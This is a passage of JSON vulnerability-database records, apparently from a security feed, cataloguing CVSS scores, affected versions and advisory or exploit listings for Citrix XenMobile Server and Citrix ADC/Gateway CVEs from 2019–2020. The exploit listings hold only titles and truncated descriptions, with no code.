"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2020-08-17T16:15:00", "type": "cve", "title": "CVE-2020-8209", "cwe": ["CWE-22"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8209"], "modified": "2020-08-20T15:41:00", "cpe": ["cpe:/a:citrix:xenmobile_server:10.10.0", "cpe:/a:citrix:xenmobile_server:10.8.0", "cpe:/a:citrix:xenmobile_server:10.12.0", "cpe:/a:citrix:xenmobile_server:10.11.0", "cpe:/a:citrix:xenmobile_server:10.9.0"], "id": "CVE-2020-8209", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-8209", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, "cpe23": ["cpe:2.3:a:citrix:xenmobile_server:10.11.0:rolling_patch1:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.9.0:rolling_patch1:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.9.0:rolling_patch2:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.9.0:-:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.10.0:-:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.10.0:rolling_patch5:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.10.0:rolling_patch3:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.11.0:rolling_patch2:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.10.0:rolling_patch4:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.10.0:rolling_patch2:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.9.0:rolling_patch4:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.11.0:-:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.10.0:rolling_patch1:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.12.0:-:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.11.0:rolling_patch3:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.9.0:rolling_patch3:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.12.0:rolling_patch1:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.8.0:*:*:*:*:*:*:*"]}, {"lastseen": "2023-02-09T15:30:39", "description": "Insufficient protection of secrets in Citrix XenMobile Server 10.12 before RP3, Citrix XenMobile Server 10.11 before RP6, Citrix XenMobile Server 10.10 RP6 and Citrix XenMobile Server before 10.9 RP5 discloses credentials of a service account.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2020-08-17T16:15:00", "type": "cve", "title": "CVE-2020-8210", "cwe": ["CWE-522"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8210"], "modified": "2020-08-20T15:41:00", "cpe": ["cpe:/a:citrix:xenmobile_server:10.10.0", "cpe:/a:citrix:xenmobile_server:10.8.0", "cpe:/a:citrix:xenmobile_server:10.12.0", "cpe:/a:citrix:xenmobile_server:10.11.0", "cpe:/a:citrix:xenmobile_server:10.9.0"], "id": "CVE-2020-8210", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-8210", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, "cpe23": ["cpe:2.3:a:citrix:xenmobile_server:10.9.0:rolling_patch2:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.10.0:rolling_patch5:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.10.0:-:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.11.0:-:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.10.0:rolling_patch3:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.11.0:rolling_patch2:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.10.0:rolling_patch1:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.12.0:-:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.12.0:rolling_patch1:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.9.0:rolling_patch1:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.11.0:rolling_patch5:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.12.0:rolling_patch2:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.11.0:rolling_patch4:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.8.0:*:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.11.0:rolling_patch1:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.9.0:-:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.9.0:rolling_patch4:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.10.0:rolling_patch4:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.10.0:rolling_patch2:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.11.0:rolling_patch3:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.9.0:rolling_patch3:*:*:*:*:*:*"]}, {"lastseen": "2023-02-09T15:30:39", "description": "Improper input validation in Citrix XenMobile Server 10.12 before RP3, Citrix XenMobile Server 10.11 before RP6, Citrix XenMobile Server 10.10 RP6 and Citrix XenMobile Server before 10.9 RP5 allows SQL Injection.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-08-17T16:15:00", "type": "cve", "title": "CVE-2020-8211", "cwe": ["CWE-89"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8211"], "modified": "2020-08-20T16:20:00", "cpe": ["cpe:/a:citrix:xenmobile_server:10.10.0", "cpe:/a:citrix:xenmobile_server:10.8.0", "cpe:/a:citrix:xenmobile_server:10.12.0", "cpe:/a:citrix:xenmobile_server:10.11.0", "cpe:/a:citrix:xenmobile_server:10.9.0"], "id": "CVE-2020-8211", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-8211", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:citrix:xenmobile_server:10.9.0:rolling_patch2:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.10.0:rolling_patch5:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.10.0:-:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.11.0:-:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.10.0:rolling_patch3:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.11.0:rolling_patch2:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.10.0:rolling_patch1:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.12.0:-:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.12.0:rolling_patch1:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.9.0:rolling_patch1:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.11.0:rolling_patch5:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.12.0:rolling_patch2:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.11.0:rolling_patch4:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.8.0:*:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.11.0:rolling_patch1:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.9.0:-:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.9.0:rolling_patch4:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.10.0:rolling_patch4:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.10.0:rolling_patch2:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.11.0:rolling_patch3:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.9.0:rolling_patch3:*:*:*:*:*:*"]}, {"lastseen": "2023-02-09T15:30:39", "description": "Improper access control in Citrix XenMobile Server 10.12 before RP3, Citrix XenMobile Server 10.11 before RP6, Citrix XenMobile Server 10.10 RP6 and Citrix XenMobile Server before 10.9 RP5 allows access to privileged functionality.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-08-17T16:15:00", "type": "cve", "title": "CVE-2020-8212", "cwe": ["CWE-863"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8212"], "modified": "2020-08-20T16:23:00", "cpe": ["cpe:/a:citrix:xenmobile_server:10.12.0", "cpe:/a:citrix:xenmobile_server:10.11.0", "cpe:/a:citrix:xenmobile_server:10.10.0", "cpe:/a:citrix:xenmobile_server:10.9.0"], "id": "CVE-2020-8212", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-8212", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:citrix:xenmobile_server:10.11.0:rolling_patch1:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.11.0:rolling_patch5:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.11.0:rolling_patch4:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.12.0:rolling_patch2:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.10.0:-:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.10.0:rolling_patch5:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.11.0:rolling_patch2:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.10.0:rolling_patch4:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.9.0:*:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.10.0:rolling_patch2:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.10.0:rolling_patch3:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.11.0:-:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.10.0:rolling_patch1:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.12.0:-:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.11.0:rolling_patch3:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.12.0:rolling_patch1:*:*:*:*:*:*"]}, {"lastseen": "2023-02-09T14:43:29", "description": "An issue was discovered in Citrix Application Delivery Controller (ADC) and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0. They allow Directory Traversal.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2019-12-27T14:15:00", "type": "cve", "title": "CVE-2019-19781", "cwe": ["CWE-22"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2023-01-20T16:21:00", "cpe": ["cpe:/o:citrix:netscaler_gateway_firmware:12.0", "cpe:/o:citrix:application_delivery_controller_firmware:13.0", "cpe:/o:citrix:application_delivery_controller_firmware:11.1", "cpe:/o:citrix:netscaler_gateway_firmware:11.1", "cpe:/o:citrix:application_delivery_controller_firmware:10.5", "cpe:/o:citrix:netscaler_gateway_firmware:10.5", "cpe:/o:citrix:gateway_firmware:13.0", "cpe:/o:citrix:netscaler_gateway_firmware:12.1", "cpe:/o:citrix:application_delivery_controller_firmware:12.0", "cpe:/o:citrix:application_delivery_controller_firmware:12.1"], "id": "CVE-2019-19781", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-19781", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:o:citrix:gateway_firmware:13.0:*:*:*:*:*:*:*", "cpe:2.3:o:citrix:application_delivery_controller_firmware:12.0:*:*:*:*:*:*:*", "cpe:2.3:o:citrix:application_delivery_controller_firmware:10.5:*:*:*:*:*:*:*", "cpe:2.3:o:citrix:application_delivery_controller_firmware:11.1:*:*:*:*:*:*:*", "cpe:2.3:o:citrix:netscaler_gateway_firmware:12.0:*:*:*:*:*:*:*", "cpe:2.3:o:citrix:application_delivery_controller_firmware:13.0:*:*:*:*:*:*:*", "cpe:2.3:o:citrix:application_delivery_controller_firmware:12.1:*:*:*:*:*:*:*", "cpe:2.3:o:citrix:netscaler_gateway_firmware:12.1:*:*:*:*:*:*:*", "cpe:2.3:o:citrix:netscaler_gateway_firmware:10.5:*:*:*:*:*:*:*", "cpe:2.3:o:citrix:netscaler_gateway_firmware:11.1:*:*:*:*:*:*:*"]}], "dsquare": [{"lastseen": "2021-07-28T14:33:45", "description": "File disclosure vulnerability in Citrix XenMobile Server\n\nVulnerability Type: File Disclosure", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 7.5, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 3.6}, "published": "2020-11-18T00:00:00", "type": "dsquare", "title": "Citrix XenMobile Server File Disclosure", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8209"], "modified": "2020-11-18T00:00:00", "id": "E-721", "href": "", "sourceData": "For the exploit source code contact DSquare Security sales team.", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}], "checkpoint_advisories": [{"lastseen": "2022-02-16T19:36:20", "description": "A directory traversal vulnerability exists in Citrix XenMobile. Successful exploitation of this vulnerability could allow an attacker to access arbitrary files on the affected system.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 7.5, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 3.6}, "published": "2020-11-23T00:00:00", "type": "checkpoint_advisories", "title": "Citrix XenMobile Server Directory Traversal (CVE-2020-8209)", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8209"], "modified": "2020-11-23T00:00:00", "id": "CPAI-2020-1219", "href": "", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2021-12-17T11:17:58", "description": "A directory traversal vulnerability exists in multiple Citrix products. Successful exploitation of this vulnerability could allow an attacker to retrieve or view arbitrary files from the affected server.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-01-09T00:00:00", "type": "checkpoint_advisories", "title": "Citrix Multiple Products Directory Traversal (CVE-2019-19781)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2020-01-26T00:00:00", "id": "CPAI-2019-1653", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "githubexploit": [{"lastseen": "2021-12-10T14:59:31", "description": "# \u4f7f\u7528\u65b9\u6cd5&\u514d\u8d23\u58f0\u660e\r\n\r\n\r\n\r\n\u8be5\u811a\u672c\u4e3aCitrix XenMobile \u76ee\u5f55\u904d\u5386\u6f0f\u6d1e\uff08CVE-2020-8209\uff09\u6279\u91cf\u68c0...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 7.5, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 3.6}, "published": "2020-11-17T07:20:46", "type": "githubexploit", "title": "Exploit for Path Traversal in Citrix Xenmobile Server", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8209"], "modified": "2021-10-18T03:32:04", "id": "4AD61F33-6EE2-52DF-83DC-91406BD73B8E", "href": "", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, "privateArea": 1}, {"lastseen": "2022-08-18T13:53:52", "description": "<!DOCTYPE html>\n<html dir=\"rtl\" lang=\"fa-IR\">\n\n<head>\n\t<meta cha...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-01-21T23:13:00", "type": "githubexploit", "title": "Exploit for Path Traversal in Citrix Application Delivery Controller Firmware", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2022-07-20T11:41:58", "id": "1AB95B23-4916-5338-9CB0-28672888287F", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-08-16T08:55:18", "description": "# CVE-2019-19781\n\nRemote Code Execution (RCE) in Citrix Applicat...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-01-11T09:49:17", "type": "githubexploit", "title": "Exploit for Path Traversal in Citrix Application Delivery Controller Firmware", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2022-08-16T08:03:32", "id": "E3BF7E8E-58EA-5BC5-A6F4-401912FFB4BE", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T14:40:41", "description": "# CVE-2019-19781-exploit\nCVE-201...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-27T02:23:02", "type": "githubexploit", "title": "Exploit for Path Traversal in Citrix Application Delivery Controller Firmware", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2021-11-07T17:52:31", "id": "09DFDAA9-9EF6-513F-B464-D707B45D598A", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T14:27:24", "description": "# Citrix Analysis Notebook\n\nA jupyter notebook to aid in automat...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-01-23T04:59:51", "type": "githubexploit", "title": "Exploit for Path Traversal in Citrix Application Delivery Controller Firmware", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2020-02-21T02:51:51", "id": "4141B394-8FC2-5D74-B0A2-3A1F5DF6905E", "href": "", "cvss": {"score": 7.5, 